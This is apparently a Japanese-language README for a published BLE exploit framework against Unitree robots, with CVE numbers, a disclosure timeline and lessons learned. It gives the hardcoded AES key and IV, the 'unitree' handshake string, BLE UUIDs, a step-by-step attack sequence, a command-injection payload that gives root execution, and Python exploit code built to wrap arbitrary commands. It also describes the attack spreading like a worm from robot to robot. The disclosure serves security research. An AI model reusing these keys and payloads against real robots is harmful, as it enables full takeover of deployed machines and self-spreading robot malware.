
Unitreeロボット向けBLEエクスプロイトフレームワーク:ハードコードされたAESキーを介したコマンドインジェクションにより、リモート乗っ取り、ペイロード注入、ワーム型拡散が可能になります。

著者: Bin4ry aka Andreas Makris [[email protected]]
共著者: h0stile aka Kevin Finisterre
寄稿者: legion1581 aka Konstantin Severov(theroboverse より)は、インジェクション用のペイロードの修正を手伝い、完全に動作するPoCでそれを証明してくれました 🙂 ありがとう、これは極めて重要な貢献でした。本当に感謝しています!
日付: 2025年9月20日
CVE-2025-35027
CVE-2025-60017
CVE-2025-60250
CVE-2025-60251
このリポジトリの研究は、Unitree G1 の体系的なセキュリティ評価を示す論文に組み込まれています。しかし、研究の影響は G1 だけに限定されるものではなく、Go2 シリーズ以降の Unitree 製品ライン全体に及びます。新しい Unitree ボットのコードは Go2 コードベースのフォークであるように見え、具体的には Go1 系とその他の Go2 以前の Unitree ボットは脆弱ではありません。しかし、現在のすべての最新型は影響を受けています。Unitree は、製品ライン全体にわたる 正確な 影響を明確にするアドバイザリをまだ公開していません。
論文へのリンク: https://arxiv.org/abs/2509.14139
タイトル: Cybersecurity AI: Humanoid Robots as Attack Vectors
著者: Víctor Mayoral-Vilches, Andreas Makris, Kevin Finisterre```bibtex
@misc{mayoralvilches2025cybersecurityaihumanoidrobots,
title={Cybersecurity AI: Humanoid Robots as Attack Vectors},
author={Víctor Mayoral-Vilches and Andreas Makris and Kevin Finisterre},
year={2025},
eprint={2509.14139},
archivePrefix={arXiv},
primaryClass={cs.CR},
url={https://arxiv.org/abs/2509.14139},
}
目次
=================
* [Unitree Robot BLE サービスコマンドインジェクション分析](#unitree-robot-ble-service-command-injection-analysis)
* [概要](#overview)
* [BLE サービス探索](#ble-service-discovery)
* [プロトコルのリバースエンジニアリング](#reverse-engineering-the-protocol)
* [命令 1:「安全な」ハンドシェイク](#instruction-1-the-secure-handshake)
* [命令 2:シリアル番号の取得](#instruction-2-get-serial-number)
* [命令 3:WiFi モードの初期化](#instruction-3-initialize-wifi-mode)
* [命令 4:SSID の設定](#instruction-4-set-ssid)
* [命令 5:パスワードの設定](#instruction-5-set-password)
* [命令 6:国コードの設定(トリガー!)](#instruction-6-set-country-code-the-trigger)
* [WiFi 設定スレッド](#the-wifi-setting-thread)
* [脆弱な関数:コマンドインジェクション](#the-vulnerable-function-command-injection)
* [攻撃フローのまとめ](#attack-flow-summary)
* [ワーム化可能な脅威](#the-wormable-threat)
* [概念実証](#proof-of-concept)
* [実世界での展開 & 影響](#real-world-deployment--impact)
* [現在の展開](#current-deployments)
* [影響評価](#impact-assessment)
* [法執行機関 & 軍事的影響](#law-enforcement--military-impact)
* [企業環境](#corporate-environments)
* [消費者への影響](#consumer-impact)
* [ワーム化可能な伝播](#wormable-propagation)
* [技術的詳細](#technical-details)
* [BLE サービスアーキテクチャ](#ble-service-architecture)
* [暗号パラメータ](#cryptographic-parameters)
* [パケット構造](#packet-structure)
* [学んだ教訓](#lessons-learned)
* [開示のタイムライン](#disclosure-timeline)
* [主力の G1、Go2、その他のボットにおける別のセキュリティ問題を報告する最初で最後の試み](#first-and-last-attempt-to-report-another-security-issue-in-your-flagship-g1-and-go2-and-other-bots)
* [免責事項](#disclaimer)
* [セキュリティ問題の傾向](#a-pattern-of-security-issues)
* [結論](#conclusion)
* [法的通知](#legal-notice)
* [貢献](#contributing)
* [ライセンスとこれらのファイルへのアクセス](#licensing-and-access-to-these-files)
---
## 概要
Unitree ロボットプラットフォームに関するセキュリティ調査中に、Bluetooth Low Energy(BLE)Wi-Fi 設定インターフェースに重大な脆弱性を発見しました。この脆弱性は、Go2、G1、H1、B2 シリーズのロボットなど、本日 [2025年9月20日] 時点の最新ファームウェアまでの複数の Unitree ロボットモデルに影響します。
**🎯 これは、人型ロボットを標的とした初の公開エクスプロイトです!**
この脆弱性は、ハードコードされた暗号鍵、簡単な認証バイパス、サニタイズされていないコマンドインジェクションという複数のセキュリティ問題を組み合わせたものです。特に懸念されるのは、完全に **ワーム化可能** であることです。感染したロボットは、BLE 圏内の他のロボットを自動的に侵害できます。この脆弱性により、攻撃者はデバイスを完全に乗っ取ることができます。
私たちは 7 月に暗号鍵を公開しました [ツイートへのリンク](https://x.com/Bin4ryDigit/status/1950566849072005304) が、Unitree は気にしませんでした。
この脆弱性をどのように発見し、悪用したのか、技術的な詳細を見ていきましょう。
## BLE サービス探索
最初のステップは、ロボットが公開している BLE サービスを特定することでした。影響を受けるすべての Unitree モデルは、Wi-Fi 設定用のカスタム BLE サービスを公開しています:```
Service UUID: 0000ffe0-0000-1000-8000-00805f9b34fb
Write Characteristic: 0000ffe2-0000-1000-8000-00805f9b34fb
Notify Characteristic: 0000ffe1-0000-1000-8000-00805f9b34fb
リバースエンジニアリングを通じて、ロボットが暗号化されたBLEパケットを処理する受信マネージャを実装していることを発見しました。以下はその内容です:

受信マネージャはまず、ハードコードされたAESパラメータを使用して受信パケットを復号します:```python AES_KEY = "df98b715d5c6ed2b25817b6f2554124a" AES_IV = "2841ae97419c2973296a0d4bdfe19a4f" Mode: AES-CFB128

復号後、パケットはswitch-case構造内の命令コードに基づいて処理されます。各命令を見ていきましょう。
## 命令1:「セキュアな」ハンドシェイク

ハンドシェイクの「認証」は笑ってしまうほど単純です:


基本的に、ロボットは復号されたパケットにハンドシェイクのシークレットとして文字列 `"unitree"` が含まれているかどうかを確認し、`valid_incoming_user` フラグを1に設定します。これが「認証」メカニズムのすべてです!
## 命令2: シリアル番号を取得

この命令は、ユーザーが「認証」されているか(つまり、フラグが設定されているか)を確認し、シリアル番号ファイルを読み取って返します。これにより、システムにアクセスできることが確認できます。
## 命令3: WiFiモードを初期化
この命令はWiFi設定を初期化します。ユーザーはAPモード(サブコマンド = 1)またはSTAモード(サブコマンド = 2)を選択できます:

## 命令4: SSIDを設定
この命令はWiFi SSIDを保存します。ここが最初のインジェクションポイントです:

## 命令5: パスワードを設定
SSIDコマンドと同様に、これはWiFiパスワードを保存します。もう1つのインジェクションポイントです:

## 命令6: カントリーコードを設定(トリガー!)
この命令はWiFiカントリーコードを設定し、重要なことに、`WifiSettingThreadFunction` をトリガーします:

命令6が実行されると、WiFi設定スレッドが開始され、脆弱な関数へとたどり着きます。
## WiFi設定スレッド
WiFi設定スレッドは、モードに応じて `restart_wifi_ap` または `restart_wifi_sta` を呼び出します:

## 脆弱な関数: コマンドインジェクション
`restart_wifi_ap`(`hostapd_restart.sh`)と`restart_wifi_sta`(`wpa_supplicant_restart.sh`)の両方の関数は、同じ脆弱なパターンに従います。
決定的な証拠はこちらです(`restart_wifi_ap` 関数を例として):

この関数は次のコマンドを構築します:```bash
sudo sh /unitree/module/network_manager/upper_bluetooth/hostapd_restart.sh "wifi_ssid wifi_pass"
このコマンドは、入力検証やサニタイズを一切行わずに、直接 system() に渡されます!
wifi_ssid または wifi_pass のどちらかを制御できるなら、独自のコマンドを注入できます。次のような単純なペイロード:```bash
";$(reboot -f);#
ロボットを再起動するには十分でしょう。しかし、私たちはもっと多くのことができるのです...
## 攻撃フローの概要
実行する必要がある完全な攻撃シーケンスは次のとおりです:
1. 命令1のデータとして、AES暗号化されたペイロード "unitree" を送信する
2. get_sn コマンドを送信し、レスポンスを復号してアクセスを検証する
3. init_wifi をサブコマンド1(AP)または2(STA)で送信する
4. wifi_ssid を `";$(reboot -f);#` のようなインジェクションペイロードに設定する
5. wifi_pass を任意の値に設定する
6. wifi のカントリーコードを設定して脆弱なスレッドをトリガーする
すべてがうまくいけば、ロボットは注入したコマンドを root 権限で実行するはずです。
## ワーム化可能な脅威
この脆弱性を特に危険にしているのは、その **ワーム化可能** な性質です。この方法を使うと、次のことが可能になります:
- root 権限で任意のコマンドを実行する
- ペイロード注入を介してマルウェアを転送・実行する
- ロボットを攻撃者が制御するWiFiネットワークに接続させる
- 近くのロボットに感染する自己拡散型ロボットマルウェアを作成する
感染したロボットは、BLE圏内の他のUnitreeロボットをスキャンして自動的に侵害できるため、ユーザーの操作なしに拡散するロボットボットネットを作り出すことができます。
## 概念実証
私たちは、この脆弱性を実証する完全な概念実証エクスプロイトフレームワークを開発しました。エクスプロイトには以下が含まれます:
- PythonベースのBLEスキャナおよびエクスプロイトフレームワーク
- Android APK(2025年9月5日にSlackチャンネルでテスターへPWD保護付きzip経由で以前共有)
- 複数の定義済みペイロード(SSH有効化、システム再起動、カスタムコマンド)
- 影響を受けるすべてのロボットモデルに対応(Go2、G1、H1、B2、...)
動作するエクスプロイトの主要コンポーネント:```python
AES_KEY = bytes.fromhex("df98b715d5c6ed2b25817b6f2554124a")
AES_IV = bytes.fromhex("2841ae97419c2973296a0d4bdfe19a4f")
HANDSHAKE_CONTENT = "unitree"
def build_pwn(cmd):
return f'";$({cmd});#'

Unitreeロボットはすでに重要な実世界のシナリオに配備されており、この脆弱性は特に憂慮すべきものとなっています:
法執行機関: ノッティンガムシャー警察は現在、武装対応シナリオでUnitreeロボットを試験導入しています。その用途は以下のとおりです:
軍事作戦: Unitreeロボットは中国の人民解放軍(PLA)によって軍事用途で利用されており、防衛作戦に重大な安全保障上の影響を及ぼしています。
この脆弱性の影響は非常に深刻です:
0000ffe0-0000-1000-8000-00805f9b34fb0000ffe2-0000-1000-8000-00805f9b34fb0000ffe1-0000-1000-8000-00805f9b34fbdf98b715d5c6ed2b25817b6f2554124a(全デバイスで同一のハードコード値)2841ae97419c2973296a0d4bdfe19a4f(全デバイスで同一のハードコード値)Encrypted([0x52, length, instruction, data, checksum])
## Lessons Learned
この研究から、いくつかの重要なセキュリティ原則が明らかになった。
- **ハードコードされた鍵を使用しない:** すべてのデバイスは固有の暗号鍵マテリアルを持つべきである
- **多層防御:** 複数のセキュリティ層によって単一障害点を防ぐ
- **入力検証:** ユーザー入力を常にサニタイズする。特にシステムコールの前には
- **セキュリティテスト:** 定期的なペネトレーションテストでこれらの問題を早期に発見できる
## Disclosure Timeline
我々は当初、この脆弱性に関してUnitreeに対して責任ある開示(responsible disclosure)を試みた。
- **バグの発見:** 2025年4月14日にAndreas Makris(Bin4ry)によってバグが発見され、Slack DMでKevin Finisterre(h0stile)およびKonstantin Severov(legion1581)と議論された。

- **PoCの開発:** 2025年4月25日、Konstantin SeverovはAndreasの誤ったペイロードを修正し、インジェクション用の正しく動作するペイロードを作成できた。最初のPoCが誕生した。

- **安全でないBLEの発見**: Konstantinがインジェクションの脆弱性を検証した後、AndreasはBLEのハードコードされた鍵と弱い認証を発見した。
- **初期コンタクト:** Unitreeのセキュリティおよびサポート窓口に複数のメールが送信された
- **コミュニケーションの問題:** 著者の1人(Andreas Makris)が、説明なしにメールのスレッドから繰り返し外された
- **応答なし:** Unitreeは、セキュリティ問題への対処に有意義な関与や関心を示さなかった
- **結果:** 謝罪も是正のタイムラインも提供されなかった
Unitreeの応答の欠如とセキュリティ問題に対する明らかな無関心を考慮し、**Andreas Makrisは今後の脆弱性について、Unitreeへの非公開開示の試みを中止することを決定した**。今後発見された追加のセキュリティ問題は、ベンダーへの事前通知なしに公開開示される。
この決定は、Unitreeがセキュリティ問題に建設的に取り組むことを示し続けている不本意さを反映している。特に、法執行機関や軍事の文脈での配備を考慮すると、これは憂慮すべきことである。
### フラッグシップ機G1、Go2、その他のボットにおける別のセキュリティ問題を報告する最初で最後の試み
(Kevin Finisterreによる開始)
- **2025年5月14日** — [LinkedIn](https://www.linkedin.com/posts/kevin-finisterre-6431069a_fyi-unitree-robotics-is-being-given-an-opportunity-activity-7328446278852407296-qZB4)と[GitHub issue #126](https://github.com/unitreerobotics/unitree_ros/issues/126)を介して開示の連絡を試みた。Unitreeが*我々*や研究仲間による他の報告の試みを何年も無視してきたにもかかわらず。
-
*「First, and last attempt to report another security issue in your flagship G1, and Go2, and other bots」*という件名のメールを以下に送信:
Tony Yang <[email protected]>, <[email protected]>, <[email protected]>, Laikago <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, Xing <[email protected]>, XMath <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>, <[email protected]>
- Unitreeは直ちに将来のバウンティプログラムの可能性を示唆したが、現時点では時期尚早な議論だった。
- **2025年5月28日~29日** — 2週間にわたり、Unitreeのセキュリティに対する*真剣味*の全般的な欠如について議論した後、努力のジェスチャーとして`[email protected]`が作成された。
-
*「Next steps... re: reporting critical vulnerability in Unitree G1」*という件名のメールでは、開示プラクティスの欠如を指摘し、Darknavyや以前の報告が無視されたことを挙げ、デバッグビルドによる対面デモか、貸出用ボット(Unitreeがインフルエンサーに送るもの)のいずれかを提案した。ICRAでの会合の申し出も含め、どちらも拒否された。
- **2025年6月8日** — Unitreeは次のように回答した:「Go1 'Zhexi' 関連のパッチは、4月にすでにオンラインになっています」とリンク <https://www.unitree.com/download/go1> を添え、「GitHubはリポジトリの運用上の問題のみを対象としています。サイバーセキュリティについては、現在の方法を使うことをお勧めします」と付け加えた。返信はその後途絶えた。
- **2025年6月14日~26日** — MIT Cheetahライセンスのコードの透明性について追及した。暗号化ルーチンの使用や、借用したコードを難読化するためのLinuxサブシステムインスタンスへのアクセス制御とは対照的に。
- 6月26日に返信が来た: *「返信が遅れて申し訳ありません。忘れたわけではありません。もう少し時間が必要なだけです。」*
- この頃、Unitreeはセキュリティスタッフの求人を掲載した。 [求人情報](https://m.zhipin.com/web/common/security-check.html?seed=F0HDtXiugDFyEi4Ap0g8%2FTu2hnxkObxC1s2HV5XA8%2Fw%3D&name=8955eed0&ts=1757704720826&callbackUrl=%2Fjob_detail%2F8f6b34a1ca755b4f03Fz2tq7EFVU.html&srcReferer)
- **2025年7月18日** — 沈黙と、開示の境界を巡る交渉の進展がないため、*「そろそろ終わりにしようか? 私はもう終わりにしようとしているところだが….」*という件名のメールを送信した。
- **2025年7月20日** — Unitreeは、我々が「G1の既知の脆弱性」を持っていることを認めたが、我々の主張する発見への修正には「システム全体のイテレーションが必要で、*四半期または年単位*の時間がかかる」と主張し、今後の公開セキュリティポータルをマイルストーンとして挙げた。
- **2025年7月25日** — UnitreeはR1のマーケティングを開始した。その後、それ以上の連絡は受け取られなかった。
- 公開開示を行い、Unitreeが自らのタイムラインで対応することを決めた。新たな発見についてのさらなる開示の試みは行われない。
- **2025年9月2日** - Unitreeは、2025年第4四半期に予定されるIPOで70億米ドルの評価額目標を発表した。
## 免責事項
⚠️ **警告:** このコードは教育および研究目的のみに使用すること。所有していないデバイスでは使用しないでください。
## セキュリティ問題のパターン
この脆弱性は孤立した事件ではない。我々自身によるこれまでの研究でも、Unitreeのセキュリティ慣行における憂慮すべきパターンが明らかになっている。
**CVE-2025-2894:** [研究者らは初期のGo1シリーズロボットにバックドアを発見した](https://takeonme.org/cves/cve-2025-2894/)。Unitreeは後にこれを「残存コード」であると主張した。しかし、Go1のレポートで我々が指摘したように、意図的なバックドアであれ、ずさんなプログラミングであれ、どちらのシナリオもセキュリティを優先しない企業であることを示している。
現在、次世代のロボット(Go2、G1、H1、B2)でも、同じ根本的なセキュリティ上の欠陥が見られる: ハードコードされた鍵、簡単な認証、安全でないシステムコール。これは、**Unitreeがこれまでのセキュリティ問題から学んでおらず**、重大な脆弱性を持つ製品を出荷し続けていることを示唆している。
パターンは明らかである:
- **Go1シリーズ:** 隠されたバックドア(CVE-2025-2894)
- **DarkNavyの未知の報告**「GeekPwn 2022で、我々は...責任ある開示のためにUnitreeに連絡した(しかし応答はなかった)」
- **Go2/G1/H1/B2シリーズ:** BLEを介したコマンドインジェクション(本研究)
法執行機関や軍事の文脈でロボットを配備している企業にとって、このレベルのセキュリティ怠慢は容認できない。
## 結論
ハードコードされた暗号鍵、簡単な認証バイパス、そしてコマンドインジェクションの組み合わせは、広範囲に悪用されるための完璧な嵐を生み出す。この脆弱性のワーム性は、複数のロボットが存在する環境では特に危険である。
Unitreeのセキュリティ問題の前歴と、重要な法執行機関や軍事シナリオでの配備を考慮すると、これらの系統的なセキュリティ障害に対処するための即時行動が必要である。
我々は責任ある開示の慣行に従い、これらの問題に対処するためにUnitreeと協力している。この研究は教育および防御目的のみを意図している。
---
## 法的通知
⚖️ この研究は、教育およびセキュリティ研究の目的で、合法的に所有された機器上で実施された。この情報の悪意のある目的での使用は厳重に禁止されており、適用される法律に違反する可能性がある。
覚えておいてほしい: 大いなる力には大いなる責任が伴う。この知識を、より良く、より安全なシステムを構築するために使おう!
## 貢献
追加の問題や改善点を見つけた場合は、遠慮なくプルリクエストを送信するか、イシューを開いてください。
## ライセンス、およびこれらのファイルへのアクセス
これらのファイルは、クリエイティブ・コモンズ [CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/) ライセンスの下で公開されている。
<p align="left">
<img src="https://assets.kitploit.com/production/public/readmes/49064/29490d1f406beb842255421807acdf0e4327f9cdf7547041398560fd7452a5ea.png">
</p>
このライセンスは、これらのファイルを使用するための特定の、しかし限定された権利をあなたに与える。
<p align="left">
<img src="https://assets.kitploit.com/production/public/readmes/49064/00bb7938b330aa21407316a9f3d62fdad4e502fddc76237f7ae4e6b518386dcb.png">
</p>
[Attribution NonCommercial ShareAlike 4.0 International license](https://creativecommons.org/licenses/by-nc-sa/4.0/legalcode.en)
あなたは自由に:<br>
共有 — この素材をあらゆる媒体や形式で複製・再配布すること<br>
改変 — この素材をリミックスし、変形し、利用して新しい素材を作ること<br>
ライセンス条件を遵守する限り、ライセンサーはこれらの自由を取り消すことはできない。<br>
以下の条件に従う場合:<br>
表示 — 適切なクレジットを表示し、ライセンスへのリンクを提供し、変更が加えられた場合はその旨を示さなければならない。これらの表示は、ライセンサーがあなたまたはあなたの使用を支持していると示唆する方法で行うことを除き、合理的な方法で行うことができる。<br>
非営利 — あなたはこの素材を営利目的で使用してはならない。<br>
継承 — この素材をリミックス、変形、または利用して新しい素材を作った場合、あなたの貢献を元の素材と同じライセンスの下で配布しなければならない。<br>
追加の制限なし — ライセンスが許可する行為を他人が行うことを法的に制限するような、法的条件や技術的措置を適用してはならない。<br>
通知: ライセンスの詳細については、[Creative Commons NonCommercial interpretation](https://wiki.creativecommons.org/wiki/NonCommercial_interpretation) をお読みください。<br>
これは直接的に、これらのファイルへのアクセスに対して料金を請求することはできず、また、商用の脆弱性悪用プラットフォームに追加したり、ペイウォールを設けたりすることはできないことを意味する。なぜなら、あなたにはそうする許可が明示的に与えられていないからだ。実際、法的影響を受ける可能性なしにそれを行うことは、明確に禁止されている。
この研究は教育目的で共有されている。責任を持って使用してください。